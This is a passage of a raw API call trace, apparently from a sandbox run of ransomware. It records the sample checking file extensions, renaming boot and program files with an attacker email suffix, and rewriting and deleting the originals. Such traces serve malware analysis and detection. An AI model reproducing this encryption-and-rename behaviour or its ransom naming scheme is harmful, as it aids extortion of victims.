(lpString="C:\\Boot\\BCD.LOG1") returned 16 [0286.281] lstrlenW (lpString=".1cd") returned 4 [0286.281] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0286.281] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0286.281] lstrlenW (lpString=".jpg") returned 4 [0286.281] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0286.281] lstrcmpiW (lpString1=".LOG2", lpString2=".com") returned 1 [0286.281] lstrlenW (lpString="BCD.LOG2") returned 8 [0286.281] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1048 [0286.281] GetFileSizeEx (in: hFile=0x1048, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=0) returned 1 [0286.281] CloseHandle (hObject=0x1048) returned 1 [0286.282] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0286.282] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0286.282] lstrlenW (lpString=".doc") returned 4 [0286.282] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0286.282] lstrlenW (lpString=".docx") returned 5 [0286.282] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0286.282] lstrlenW (lpString=".pdf") returned 4 [0286.282] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0286.282] lstrlenW (lpString=".xls") returned 4 [0286.282] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0286.282] lstrlenW (lpString=".xlsx") returned 5 [0286.282] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0286.282] lstrlenW (lpString=".ppt") returned 4 [0286.282] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0286.282] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0286.282] lstrlenW (lpString=".zip") returned 4 [0286.282] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0286.282] lstrlenW (lpString=".rar") returned 4 [0286.282] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0286.282] lstrlenW (lpString=".bz2") returned 4 [0286.282] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0286.282] lstrlenW (lpString=".7z") returned 3 [0286.282] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0286.282] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0286.282] lstrlenW (lpString=".dbf") returned 4 [0286.282] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0286.282] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0286.283] lstrlenW (lpString=".1cd") returned 4 [0286.283] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0286.283] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0286.283] lstrlenW (lpString=".jpg") returned 4 [0286.283] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0286.283] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0286.283] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0286.283] lstrlenW (lpString=".doc") returned 4 [0286.283] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0286.283] lstrlenW (lpString=".docx") returned 5 [0286.283] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0286.283] lstrlenW (lpString=".pdf") returned 4 [0286.283] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0286.283] lstrlenW (lpString=".xls") returned 4 [0286.283] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0286.283] lstrlenW (lpString=".xlsx") returned 5 [0286.283] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0286.283] lstrlenW (lpString=".ppt") returned 4 [0286.283] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0286.283] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0286.283] lstrlenW (lpString=".zip") returned 4 [0286.283] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0286.283] lstrlenW (lpString=".rar") returned 4 [0286.283] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0286.283] lstrlenW (lpString=".bz2") returned 4 [0286.284] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0286.284] lstrlenW (lpString=".7z") returned 3 [0286.284] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0286.284] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0286.284] lstrlenW (lpString=".dbf") returned 4 [0286.284] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0286.284] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0286.284] lstrlenW (lpString=".1cd") returned 4 [0286.284] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0286.284] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0286.284] lstrlenW (lpString=".jpg") returned 4 [0286.284] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0286.284] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0286.284] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0286.284] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1048 [0286.284] GetFileSizeEx (in: hFile=0x1048, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=77664) returned 1 [0286.284] CloseHandle (hObject=0x1048) returned 1 [0286.287] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui")) returned 0x20 [0286.287] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.287] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.287] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0286.287] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0286.287] lstrlenW (lpString=".doc") returned 4 [0286.287] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0286.287] lstrlenW (lpString=".docx") returned 5 [0286.287] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0286.287] lstrlenW (lpString=".pdf") returned 4 [0286.287] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0286.287] lstrlenW (lpString=".xls") returned 4 [0286.287] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0286.287] lstrlenW (lpString=".xlsx") returned 5 [0286.287] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0286.287] lstrlenW (lpString=".ppt") returned 4 [0286.287] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0286.287] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0286.287] lstrlenW (lpString=".zip") returned 4 [0286.287] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0286.287] lstrlenW (lpString=".rar") returned 4 [0286.287] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0286.288] lstrlenW (lpString=".bz2") returned 4 [0286.288] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0286.288] lstrlenW (lpString=".7z") returned 3 [0286.288] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0286.288] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0286.288] lstrlenW (lpString=".dbf") returned 4 [0286.288] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0286.288] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0286.288] lstrlenW (lpString=".1cd") returned 4 [0286.288] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0286.288] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0286.288] lstrlenW (lpString=".jpg") returned 4 [0286.288] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0286.288] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0286.288] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0286.288] lstrlenW (lpString=".doc") returned 4 [0286.288] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0286.288] lstrlenW (lpString=".docx") returned 5 [0286.288] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0286.288] lstrlenW (lpString=".pdf") returned 4 [0286.288] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0286.288] lstrlenW (lpString=".xls") returned 4 [0286.288] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0286.288] lstrlenW (lpString=".xlsx") returned 5 [0286.288] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0286.288] lstrlenW (lpString=".ppt") returned 4 [0286.289] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0286.289] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0286.289] lstrlenW (lpString=".zip") returned 4 [0286.289] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0286.289] lstrlenW (lpString=".rar") returned 4 [0286.289] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0286.289] lstrlenW (lpString=".bz2") returned 4 [0286.289] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0286.289] lstrlenW (lpString=".7z") returned 3 [0286.289] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0286.289] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0286.289] lstrlenW (lpString=".dbf") returned 4 [0286.289] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0286.289] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0286.289] lstrlenW (lpString=".1cd") returned 4 [0286.289] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0286.289] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0286.289] lstrlenW (lpString=".jpg") returned 4 [0286.289] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0286.289] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0286.289] lstrlenW (lpString="bootspaces.dll") returned 14 [0286.289] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1048 [0286.290] GetFileSizeEx (in: hFile=0x1048, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=95648) returned 1 [0286.290] CloseHandle (hObject=0x1048) returned 1 [0286.291] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll")) returned 0x20 [0286.291] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\bootspaces.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.291] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.291] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0286.291] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0286.291] lstrlenW (lpString=".doc") returned 4 [0286.291] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0286.291] lstrlenW (lpString=".docx") returned 5 [0286.291] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0286.291] lstrlenW (lpString=".pdf") returned 4 [0286.291] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0286.291] lstrlenW (lpString=".xls") returned 4 [0286.291] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0286.291] lstrlenW (lpString=".xlsx") returned 5 [0286.291] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0286.291] lstrlenW (lpString=".ppt") returned 4 [0286.291] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0286.291] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0286.291] lstrlenW (lpString=".zip") returned 4 [0286.291] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0286.291] lstrlenW (lpString=".rar") returned 4 [0286.291] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0286.291] lstrlenW (lpString=".bz2") returned 4 [0286.292] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0286.292] lstrlenW (lpString=".7z") returned 3 [0286.292] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0286.292] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0286.292] lstrlenW (lpString=".dbf") returned 4 [0286.292] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0286.292] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0286.292] lstrlenW (lpString=".1cd") returned 4 [0286.292] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0286.292] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0286.292] lstrlenW (lpString=".jpg") returned 4 [0286.292] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0286.292] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0286.292] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0286.292] lstrlenW (lpString=".doc") returned 4 [0286.292] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0286.292] lstrlenW (lpString=".docx") returned 5 [0286.292] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0286.292] lstrlenW (lpString=".pdf") returned 4 [0286.292] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0286.292] lstrlenW (lpString=".xls") returned 4 [0286.292] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0286.292] lstrlenW (lpString=".xlsx") returned 5 [0286.292] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0286.292] lstrlenW (lpString=".ppt") returned 4 [0286.292] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0286.293] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0286.293] lstrlenW (lpString=".zip") returned 4 [0286.293] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0286.293] lstrlenW (lpString=".rar") returned 4 [0286.293] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0286.293] lstrlenW (lpString=".bz2") returned 4 [0286.293] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0286.293] lstrlenW (lpString=".7z") returned 3 [0286.293] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0286.293] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0286.293] lstrlenW (lpString=".dbf") returned 4 [0286.293] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0286.293] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0286.293] lstrlenW (lpString=".1cd") returned 4 [0286.293] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0286.293] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0286.293] lstrlenW (lpString=".jpg") returned 4 [0286.293] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0286.293] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0286.293] lstrlenW (lpString="bootvhd.dll") returned 11 [0286.293] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1048 [0286.294] GetFileSizeEx (in: hFile=0x1048, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=99744) returned 1 [0286.294] CloseHandle (hObject=0x1048) returned 1 [0286.294] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll")) returned 0x20 [0286.294] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\bootvhd.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.294] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.294] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0286.294] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0286.294] lstrlenW (lpString=".doc") returned 4 [0286.294] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0286.294] lstrlenW (lpString=".docx") returned 5 [0286.294] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0286.294] lstrlenW (lpString=".pdf") returned 4 [0286.294] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0286.294] lstrlenW (lpString=".xls") returned 4 [0286.294] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0286.294] lstrlenW (lpString=".xlsx") returned 5 [0286.294] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0286.294] lstrlenW (lpString=".ppt") returned 4 [0286.294] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0286.295] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0286.295] lstrlenW (lpString=".zip") returned 4 [0286.295] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0286.295] lstrlenW (lpString=".rar") returned 4 [0286.295] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0286.295] lstrlenW (lpString=".bz2") returned 4 [0286.295] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0286.295] lstrlenW (lpString=".7z") returned 3 [0286.295] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0286.299] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0286.300] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0286.302] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0286.303] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0286.510] SetFileAttributesW (lpFileName="C:\\bootmgr", dwFileAttributes=0x26) returned 0 [0286.510] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.513] SetFilePointerEx (in: hFile=0x1094, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0286.513] SetFilePointerEx (in: hFile=0x1094, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0286.514] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0286.514] GetLastError () returned 0x0 [0286.514] ReadFile (in: hFile=0x1094, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x3e70, lpOverlapped=0x0) returned 1 [0286.527] WriteFile (in: hFile=0x1098, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0x3e80, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0x3e80, lpOverlapped=0x0) returned 1 [0286.528] ReadFile (in: hFile=0x1094, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x0, lpOverlapped=0x0) returned 1 [0286.528] WriteFile (in: hFile=0x1098, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0xec, lpOverlapped=0x0) returned 1 [0286.528] SetEndOfFile (hFile=0x1098) returned 1 [0286.528] CloseHandle (hObject=0x1098) returned 1 [0286.529] SetFilePointerEx (in: hFile=0x1094, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0286.529] SetEndOfFile (hFile=0x1094) returned 1 [0286.530] CloseHandle (hObject=0x1094) returned 1 [0286.530] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0286.530] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb")) returned 1 [0286.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0286.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0286.531] lstrlenW (lpString=".doc") returned 4 [0286.531] lstrcmpiW (lpString1=".doc", lpString2=".OLB") returned -1 [0286.531] lstrlenW (lpString=".docx") returned 5 [0286.531] lstrcmpiW (lpString1=".docx", lpString2="R.OLB") returned -1 [0286.531] lstrlenW (lpString=".pdf") returned 4 [0286.531] lstrcmpiW (lpString1=".pdf", lpString2=".OLB") returned 1 [0286.531] lstrlenW (lpString=".xls") returned 4 [0286.531] lstrcmpiW (lpString1=".xls", lpString2=".OLB") returned 1 [0286.531] lstrlenW (lpString=".xlsx") returned 5 [0286.531] lstrcmpiW (lpString1=".xlsx", lpString2="R.OLB") returned -1 [0286.531] lstrlenW (lpString=".ppt") returned 4 [0286.531] lstrcmpiW (lpString1=".ppt", lpString2=".OLB") returned 1 [0286.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0286.531] lstrlenW (lpString=".zip") returned 4 [0286.531] lstrcmpiW (lpString1=".zip", lpString2=".OLB") returned 1 [0286.531] lstrlenW (lpString=".rar") returned 4 [0286.531] lstrcmpiW (lpString1=".rar", lpString2=".OLB") returned 1 [0286.531] lstrlenW (lpString=".bz2") returned 4 [0286.531] lstrcmpiW (lpString1=".bz2", lpString2=".OLB") returned -1 [0286.531] lstrlenW (lpString=".7z") returned 3 [0286.531] lstrcmpiW (lpString1=".7z", lpString2="OLB") returned -1 [0286.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0286.531] lstrlenW (lpString=".dbf") returned 4 [0286.531] lstrcmpiW (lpString1=".dbf", lpString2=".OLB") returned -1 [0286.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0286.532] lstrlenW (lpString=".1cd") returned 4 [0286.532] lstrcmpiW (lpString1=".1cd", lpString2=".OLB") returned -1 [0286.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0286.532] lstrlenW (lpString=".jpg") returned 4 [0286.532] lstrcmpiW (lpString1=".jpg", lpString2=".OLB") returned -1 [0286.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0286.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0286.532] lstrlenW (lpString=".doc") returned 4 [0286.532] lstrcmpiW (lpString1=".doc", lpString2=".OLB") returned -1 [0286.532] lstrlenW (lpString=".docx") returned 5 [0286.532] lstrcmpiW (lpString1=".docx", lpString2="R.OLB") returned -1 [0286.532] lstrlenW (lpString=".pdf") returned 4 [0286.532] lstrcmpiW (lpString1=".pdf", lpString2=".OLB") returned 1 [0286.532] lstrlenW (lpString=".xls") returned 4 [0286.532] lstrcmpiW (lpString1=".xls", lpString2=".OLB") returned 1 [0286.532] lstrlenW (lpString=".xlsx") returned 5 [0286.532] lstrcmpiW (lpString1=".xlsx", lpString2="R.OLB") returned -1 [0286.532] lstrlenW (lpString=".ppt") returned 4 [0286.532] lstrcmpiW (lpString1=".ppt", lpString2=".OLB") returned 1 [0286.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0286.532] lstrlenW (lpString=".zip") returned 4 [0286.532] lstrcmpiW (lpString1=".zip", lpString2=".OLB") returned 1 [0286.532] lstrlenW (lpString=".rar") returned 4 [0286.532] lstrcmpiW (lpString1=".rar", lpString2=".OLB") returned 1 [0286.532] lstrlenW (lpString=".bz2") returned 4 [0286.532] lstrcmpiW (lpString1=".bz2", lpString2=".OLB") returned -1 [0286.532] lstrlenW (lpString=".7z") returned 3 [0286.532] lstrcmpiW (lpString1=".7z", lpString2="OLB") returned -1 [0286.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0286.533] lstrlenW (lpString=".dbf") returned 4 [0286.533] lstrcmpiW (lpString1=".dbf", lpString2=".OLB") returned -1 [0286.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0286.533] lstrlenW (lpString=".1cd") returned 4 [0286.533] lstrcmpiW (lpString1=".1cd", lpString2=".OLB") returned -1 [0286.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0286.533] lstrlenW (lpString=".jpg") returned 4 [0286.533] lstrcmpiW (lpString1=".jpg", lpString2=".OLB") returned -1 [0286.533] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0286.533] lstrlenW (lpString="api-ms-win-core-file-l1-2-0.dll") returned 31 [0286.533] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft 